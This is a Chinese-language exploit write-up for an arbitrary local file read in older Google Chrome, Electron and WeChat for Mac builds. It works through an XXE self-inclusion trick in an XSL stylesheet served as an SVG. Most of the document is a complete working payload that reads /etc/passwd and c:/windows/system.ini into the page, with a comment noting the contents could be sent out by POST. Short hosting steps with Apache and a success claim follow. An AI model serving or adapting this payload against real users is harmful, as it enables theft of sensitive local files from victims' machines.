Google Chrome 任意文件读取
漏洞原理:第一次实体声明引用外部实体是被拦截的,通过将自身作为外部 XML 文档进行自我包含后,再进行第二次实体声明引用外部实体,并且要求两次的引用的格式能相互兼容不报错,即可绕过拦截,读取本地文件
利用条件:
Chrome 版本 < 116.0.5845.96
Electrom 版本 < 26.1.0
微信 Mac 版本 < 3.8.5.17
必要条件:关闭沙箱模式
复现环境
Payload
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd_p "file:///etc/passwd">
<!ENTITY passwd_c SYSTEM "file:///etc/passwd">
<!ENTITY sysini_p "file:///c:/windows/system.ini">
<!ENTITY sysini_c SYSTEM "file:///c:/windows/system.ini">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
<p class="&sysini_p;">&sysini_c;</p>
</div>
<div style="width:40rem" id="r" />
<script>
document.querySelector('#r').innerHTML = `
remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`;
document.querySelectorAll('p').forEach(p => {
//You can send p.innerHTML by POST.
document.querySelector('#r').innerHTML += `
local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/>
local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`;
});
</script>
</body>
</xsl:template>
</xsl:stylesheet>
攻击机打开 Apache 服务 将 payload 命名为 d.svg 浏览器访问页面
systemctl start apache2
成功读取到本地 system.ini 文件,通过该漏洞可以读取 Windows 其他敏感文件,以及执行 XXE 代码